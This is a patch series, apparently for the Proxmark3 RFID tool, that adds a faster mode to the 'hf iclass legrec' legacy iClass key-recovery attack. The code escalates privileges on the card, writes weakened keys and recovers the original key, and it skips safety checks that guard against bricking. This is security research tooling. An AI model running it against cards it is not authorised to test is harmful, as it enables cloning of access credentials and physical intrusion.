From 083a9ce945baed7dd15e3bfd2075d5ac55961c3a Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Thu, 5 Jun 2025 20:44:58 +0800 Subject: [PATCH 1/5] Updated hf iclass legrec with a fast option and improved AA2 selection 1- Added a --fast option for hf iclass legrec that further increases the speed from 4.6 key updates/second to 7.4 key updates/second. This is achieved by skipping some safety checks and is a very fast but more risky operation. 2- Automated AA2 block selection based on the values in the config block 3- Other minor code cleanups --- armsrc/iclass.c | 222 ++++++++++++++++++++++++++++----------- client/src/cmdhficlass.c | 13 ++- include/iclass_cmd.h | 1 + 3 files changed, 172 insertions(+), 64 deletions(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 70798bfeb..8581f0131 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2626,7 +2626,7 @@ static void generate_single_key_block_inverted_opt(const uint8_t *startingKey, u // Start from the second byte, index 1 as we're never gonna touch the first byte for (int i = 1; i < PICOPASS_BLOCK_SIZE; i++) { - // Clear the last bit of the current byte (AND with 0xFE) + // Clear the last three bits of the current byte (AND with 0xF8) keyBlock[i] &= 0xF8; // Set the last bit to the corresponding value from binary_endings (OR with binary_endings[i]) keyBlock[i] |= ((binary_mids[i] & 0x03) << 1) | (binary_endings[i] & 0x01); @@ -2638,6 +2638,9 @@ void iClass_Recover(iclass_recover_req_t *msg) { bool shallow_mod = false; uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t genkeyblock[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t fast_restore_key[PICOPASS_BLOCK_SIZE] = {0}; + uint8_t fast_previous_key[PICOPASS_BLOCK_SIZE] = {0}; + uint8_t fast_current_key[PICOPASS_BLOCK_SIZE] = {0}; uint32_t index = msg->index; int bits_found = -1; bool recovered = false; @@ -2646,8 +2649,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { uint8_t div_key2[8] = {0}; uint32_t eof_time = 0; uint32_t start_time = 0; - uint8_t read_check_cc[] = { 0x80 | ICLASS_CMD_READCHECK, 0x18 }; //block 24 - read_check_cc[0] = 0x10 | ICLASS_CMD_READCHECK; //use credit key + uint8_t read_check_cc[] = { 0x10 | ICLASS_CMD_READCHECK, 0x18 }; //block 24 with credit key uint8_t read_check_cc2[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; //block 2 -> to check Kd macs /* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte. */ @@ -2697,6 +2699,9 @@ void iClass_Recover(iclass_recover_req_t *msg) { card_select = true; } + //Step 0A - The read_check_cc block has to be in AA2, set it by checking the card configuration + read_check_cc[1] = ((uint8_t*)&hdr.conf)[0] + 1; //first block of AA2 + //Step1 Authenticate with AA1 using trace if (card_select) { memcpy(original_mac, msg->req.key, 8); @@ -2733,6 +2738,9 @@ void iClass_Recover(iclass_recover_req_t *msg) { } else { interrupted = true; } + if(msg->fast){ + goto fast_restore; + } goto out; } @@ -2778,7 +2786,6 @@ void iClass_Recover(iclass_recover_req_t *msg) { } //Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1 - uint8_t blockno = 3; int priv_esc_tries = 0; while (!priv_esc) { //The privilege escalation is done with a readcheck and not just a normal read! @@ -2810,9 +2817,23 @@ void iClass_Recover(iclass_recover_req_t *msg) { memcpy(genkeyblock, zero_key, PICOPASS_BLOCK_SIZE); } + if(msg->fast){//if we're skipping restoring the original key to gain speed, xor the new index key with the previous index key and update the difference and track restore values differently + if(index > 0 && loops > 1){ + generate_single_key_block_inverted_opt(zero_key, index -1, fast_previous_key); + }else{ + memcpy(fast_previous_key, zero_key, PICOPASS_BLOCK_SIZE); + } + for (int i = 0; i < PICOPASS_BLOCK_SIZE; i++) { + fast_current_key[i] = genkeyblock[i] ^ fast_previous_key[i]; + fast_restore_key[i] = fast_restore_key[i] ^ fast_current_key[i]; + } + memcpy(genkeyblock, fast_current_key, PICOPASS_BLOCK_SIZE); + } + //Step4 Calculate New Mac uint8_t wb[9] = {0}; + uint8_t blockno = 3; wb[0] = blockno; memcpy(wb + 1, genkeyblock, 8); doMAC_N(wb, sizeof(wb), div_key2, mac2); @@ -2823,31 +2844,36 @@ void iClass_Recover(iclass_recover_req_t *msg) { if (iclass_writeblock_sp(blockno, genkeyblock, mac2, shallow_mod, &start_time, &eof_time)) { status_message = 4; //wrote new key on the card - unverified } - //Reset cypher state - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); - //try to authenticate with the original mac to verify the write happened - memcpy(msg->req.key, original_mac, 8); - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); - if (msg->test) { - if (res) { - DbpString(""); - DbpString(_GREEN_("*** CARD EPURSE IS LOUD! OK TO ATTEMPT KEY RETRIEVAL! RUN AGAIN WITH -notest ***")); - completed = true; - goto out; + if(!msg->fast){ //if we're going slow we check at every write that the write actually happened + //Reset cypher state + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); + //try to authenticate with the original mac to verify the write happened + memcpy(msg->req.key, original_mac, 8); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (msg->test) { + if (res) { + DbpString(""); + DbpString(_GREEN_("*** CARD EPURSE IS LOUD! OK TO ATTEMPT KEY RETRIEVAL! RUN AGAIN WITH -notest ***")); + completed = true; + goto out; + } else { + DbpString(""); + DbpString(_RED_("*** CARD EPURSE IS SILENT! RISK OF BRICKING! DO NOT EXECUTE KEY UPDATES! SCAN IT ON READER FOR EPURSE UPDATE, COLLECT NEW TRACES AND TRY AGAIN! ***")); + goto out; + } } else { - DbpString(""); - DbpString(_RED_("*** CARD EPURSE IS SILENT! RISK OF BRICKING! DO NOT EXECUTE KEY UPDATES! SCAN IT ON READER FOR EPURSE UPDATE, COLLECT NEW TRACES AND TRY AGAIN! ***")); - goto out; - } - } else { - if (res) { - write_error = true; //failed to update the key, the card's key is the original one - } else { - status_message = 5; //verified the card key was updated to the new one - written = true; + if (res) { + write_error = true; //failed to update the key, the card's key is the original one + } else { + status_message = 5; //verified the card key was updated to the new one + written = true; + } } + }else{ //if we're going fast we can skip the above checks as we're just xorring the key over and over + status_message = 5; + written = true; } } @@ -2866,46 +2892,79 @@ void iClass_Recover(iclass_recover_req_t *msg) { } } - //regardless of bits being found, restore the original key and verify it bool reverted = false; uint8_t revert_retries = 0; - while (reverted == false) { - //Regain privilege escalation with a readcheck - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); - // TODO: check result - //GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - if (iclass_writeblock_sp(blockno, genkeyblock, mac2, shallow_mod, &start_time, &eof_time)) { - status_message = 6; //restore of original key successful but unverified - } - //Do a readcheck first to reset the cypher state - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); - // TODO: check result - //GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); - //need to craft the authentication payload accordingly - memcpy(msg->req.key, original_mac, 8); - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); - if (res == true) { - status_message = 7; //restore of original key verified - card usable again - reverted = true; - if (recovered) { - goto restore; + if(msg->fast){ //if we're going fast only restore the original key at the end + if(recovered){ + while (!reverted) { + //Regain privilege escalation with a readcheck + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); + memcpy(wb + 1, fast_restore_key, 8); + doMAC_N(wb, sizeof(wb), div_key2, mac2); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + if (iclass_writeblock_sp(blockno, fast_restore_key, mac2, shallow_mod, &start_time, &eof_time)) { + status_message = 6; //restore of original key successful but unverified + } + //Do a readcheck first to reset the cypher state + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); + //need to craft the authentication payload accordingly + memcpy(msg->req.key, original_mac, 8); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (res == true) { + status_message = 7; //restore of original key verified - card usable again + reverted = true; + goto restore; + } + revert_retries++; + if (revert_retries >= 7) { //must always be an odd number! + DbpString(""); + DbpString(_CYAN_("Last Written Key (fast): ")); + Dbhexdump(8, fast_restore_key, false); + Dbprintf(_RED_("Attempted to restore original key for %3d times and failed. Stopping. Card is likely unusable."), revert_retries); + goto out; + } } } + }else{ + //if we're NOT going fast, regardless of bits being found, restore the original key and verify it + while (!reverted) { + //Regain privilege escalation with a readcheck + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + if (iclass_writeblock_sp(blockno, genkeyblock, mac2, shallow_mod, &start_time, &eof_time)) { + status_message = 6; //restore of original key successful but unverified + } + //Do a readcheck first to reset the cypher state + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); + //need to craft the authentication payload accordingly + memcpy(msg->req.key, original_mac, 8); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (res == true) { + status_message = 7; //restore of original key verified - card usable again + reverted = true; + if (recovered) { + goto restore; + } + } - revert_retries++; - if (revert_retries >= 7) { //must always be an odd number! - DbpString(""); - DbpString(_CYAN_("Last Written Key: ")); - Dbhexdump(8, genkeyblock, false); - Dbprintf(_RED_("Attempted to restore original key for %3d times and failed. Stopping. Card is likely unusable."), revert_retries); - goto out; + revert_retries++; + if (revert_retries >= 7) { //must always be an odd number! + DbpString(""); + DbpString(_CYAN_("Last Written Key: ")); + Dbhexdump(8, genkeyblock, false); + Dbprintf(_RED_("Attempted to restore original key for %3d times and failed. Stopping. Card is likely unusable."), revert_retries); + goto out; + } } } + } if (msg->debug) { @@ -2947,13 +3006,56 @@ void iClass_Recover(iclass_recover_req_t *msg) { }//end while +fast_restore: + ;//empty statement for compilation + uint8_t mac2[4] = {0}; + uint8_t wb[9] = {0}; + uint8_t blockno = 3; + wb[0] = blockno; + bool reverted = false; + uint8_t revert_retries = 0; + while (!reverted) { + //Regain privilege escalation with a readcheck + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); + memcpy(wb + 1, fast_restore_key, 8); + doMAC_N(wb, sizeof(wb), div_key2, mac2); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + if (iclass_writeblock_sp(blockno, fast_restore_key, mac2, shallow_mod, &start_time, &eof_time)) { + status_message = 6; //restore of original key successful but unverified + } + //Do a readcheck first to reset the cypher state + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); + //need to craft the authentication payload accordingly + memcpy(msg->req.key, original_mac, 8); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (res == true) { + status_message = 7; //restore of original key verified - card usable again + reverted = true; + goto out; + } + revert_retries++; + if (revert_retries >= 7) { //must always be an odd number! + DbpString(""); + DbpString(_CYAN_("Last Written Key (fast): ")); + Dbhexdump(8, fast_restore_key, false); + Dbprintf(_RED_("Attempted to restore original key for %3d times and failed. Stopping. Card is likely unusable."), revert_retries); + goto out; + } + } restore: ;//empty statement for compilation uint8_t partialkey[PICOPASS_BLOCK_SIZE] = {0}; for (int i = 0; i < PICOPASS_BLOCK_SIZE; i++) { - partialkey[i] = genkeyblock[i] ^ bits_found; + if(msg->fast){ + partialkey[i] = fast_restore_key[i] ^ bits_found; + }else{ + partialkey[i] = genkeyblock[i] ^ bits_found; + } } //Print the bits decimal value diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 8c100c4eb..1cfe1f636 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -4524,7 +4524,7 @@ void picopass_elite_nextKey(uint8_t *key) { memcpy(key, key_state, 8); } -static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, uint8_t no_first_auth[8], bool debug, bool test, bool allnight) { +static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, uint8_t no_first_auth[8], bool debug, bool test, bool fast, bool allnight) { int runs = 1; int cycle = 1; @@ -4556,6 +4556,7 @@ static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, u payload->loop = loop; payload->debug = debug; payload->test = test; + payload->fast = fast; memcpy(payload->nfa, no_first_auth, PICOPASS_BLOCK_SIZE); memcpy(payload->req.key, key, PICOPASS_BLOCK_SIZE); memcpy(payload->req2.key, aa2_standard_key, PICOPASS_BLOCK_SIZE); @@ -4841,8 +4842,9 @@ static int CmdHFiClassLegacyRecSim(void) { bits_found = index; PrintAndLogEx(SUCCESS, "Original Key: " _GREEN_("%s"), sprint_hex(original_key, sizeof(original_key))); PrintAndLogEx(SUCCESS, "Weak Key: " _GREEN_("%s"), sprint_hex(key, sizeof(key))); - PrintAndLogEx(SUCCESS, "Key Updates Required to Weak Key: " _GREEN_("%d"), index); - PrintAndLogEx(SUCCESS, "Estimated Time: ~" _GREEN_("%d")" hours", index / 17800); + PrintAndLogEx(SUCCESS, "Key Updates Required to Weak Key :" _GREEN_("%d"), index); + PrintAndLogEx(SUCCESS, "Estimated Time (default mode) : ~" _GREEN_("%d")" hours", index / 17800); + PrintAndLogEx(SUCCESS, "Estimated Time (--fast mode) : ~" _GREEN_("%d")" hours", index / 26860); } index++; @@ -4870,6 +4872,7 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) { arg_lit0(NULL, "debug", "Re-enables tracing for debugging. Limits cycles to 1."), arg_lit0(NULL, "notest", "Perform real writes on the card!"), arg_lit0(NULL, "allnight", "Loops the loop for 10 times, recommended loop value of 5000."), + arg_lit0(NULL, "fast", "Increases the speed (4.6->7.4 key updates/second), higher risk to brick the card."), arg_lit0(NULL, "est", "Estimates the key updates based on the card's CSN assuming standard key."), arg_param_end }; @@ -4885,7 +4888,8 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) { bool test = true; bool no_test = arg_get_lit(ctx, 5); bool allnight = arg_get_lit(ctx, 6); - bool sim = arg_get_lit(ctx, 7); + bool fast = arg_get_lit(ctx, 7); + bool sim = arg_get_lit(ctx, 8); if (sim) { CmdHFiClassLegacyRecSim(); @@ -4902,6 +4906,7 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) { return PM3_EINVARG; } else if (debug || test) { loop = 1; + fast = false; } uint8_t csn[PICOPASS_BLOCK_SIZE] = {0}; diff --git a/include/iclass_cmd.h b/include/iclass_cmd.h index eab734ac7..2dc658ed9 100644 --- a/include/iclass_cmd.h +++ b/include/iclass_cmd.h @@ -124,6 +124,7 @@ typedef struct { uint8_t nfa[8]; bool debug; bool test; + bool fast; } PACKED iclass_recover_req_t; typedef struct iclass_premac { From b46930394a6619aa6760e65e722208a02bec77ff Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Thu, 5 Jun 2025 20:48:45 +0800 Subject: [PATCH 2/5] Update CHANGELOG.md --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4f8a2d05e..6223e440f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Changed `hf iclass legrec` - added a --fast option for further speed increase and automated AA2 block selection (@antiklesys) - Changed `hf iclass legrec` - additional code optimizations gaining a ~147% speed increase (@antiklesys) - Changed `hf iclass tear` - readability improvements for erase phase (@antiklesys) - Changed `hf iclass legrec` - code optimizations gaining a ~8% speed increase (@antiklesys) From ab84cb459aa25d75cb73ce4f8c7883939777fa0d Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Thu, 5 Jun 2025 20:57:47 +0800 Subject: [PATCH 3/5] Update cmdhficlass.c Signed-off-by: Antiklesys --- client/src/cmdhficlass.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 1cfe1f636..ac0a77fc1 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -4931,7 +4931,7 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) { PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " to abort"); PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " -----------------\n"); - iclass_recover(macs, index, loop, no_first_auth, debug, test, allnight); + iclass_recover(macs, index, loop, no_first_auth, debug, test, fast, allnight); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(WARNING, _YELLOW_("If the process completed successfully, you can now run 'hf iclass legbrute' with the partial key found.")); From 7acf507826509acede1e15e1c10f4dd4387a8a29 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Thu, 5 Jun 2025 21:18:03 +0800 Subject: [PATCH 4/5] Update iclass.c Minor optimizations to remove duplicate code --- armsrc/iclass.c | 38 ++++++-------------------------------- 1 file changed, 6 insertions(+), 32 deletions(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 8581f0131..83b400b57 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2896,37 +2896,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { uint8_t revert_retries = 0; if(msg->fast){ //if we're going fast only restore the original key at the end if(recovered){ - while (!reverted) { - //Regain privilege escalation with a readcheck - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); - memcpy(wb + 1, fast_restore_key, 8); - doMAC_N(wb, sizeof(wb), div_key2, mac2); - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - if (iclass_writeblock_sp(blockno, fast_restore_key, mac2, shallow_mod, &start_time, &eof_time)) { - status_message = 6; //restore of original key successful but unverified - } - //Do a readcheck first to reset the cypher state - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); - //need to craft the authentication payload accordingly - memcpy(msg->req.key, original_mac, 8); - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); - if (res == true) { - status_message = 7; //restore of original key verified - card usable again - reverted = true; - goto restore; - } - revert_retries++; - if (revert_retries >= 7) { //must always be an odd number! - DbpString(""); - DbpString(_CYAN_("Last Written Key (fast): ")); - Dbhexdump(8, fast_restore_key, false); - Dbprintf(_RED_("Attempted to restore original key for %3d times and failed. Stopping. Card is likely unusable."), revert_retries); - goto out; - } - } + goto fast_restore; } }else{ //if we're NOT going fast, regardless of bits being found, restore the original key and verify it @@ -3034,7 +3004,11 @@ fast_restore: if (res == true) { status_message = 7; //restore of original key verified - card usable again reverted = true; - goto out; + if(recovered){ + goto restore; + }else{ + goto out; + } } revert_retries++; if (revert_retries >= 7) { //must always be an odd number! From fd098ba12f42e07bf971764cbf37e492fb2c1555 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Thu, 5 Jun 2025 21:29:01 +0800 Subject: [PATCH 5/5] Update iclass.c --- armsrc/iclass.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 83b400b57..7cb290038 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -3004,11 +3004,6 @@ fast_restore: if (res == true) { status_message = 7; //restore of original key verified - card usable again reverted = true; - if(recovered){ - goto restore; - }else{ - goto out; - } } revert_retries++; if (revert_retries >= 7) { //must always be an odd number! @@ -3016,6 +3011,10 @@ fast_restore: DbpString(_CYAN_("Last Written Key (fast): ")); Dbhexdump(8, fast_restore_key, false); Dbprintf(_RED_("Attempted to restore original key for %3d times and failed. Stopping. Card is likely unusable."), revert_retries); + } + if(recovered){ + goto restore; + }else{ goto out; } }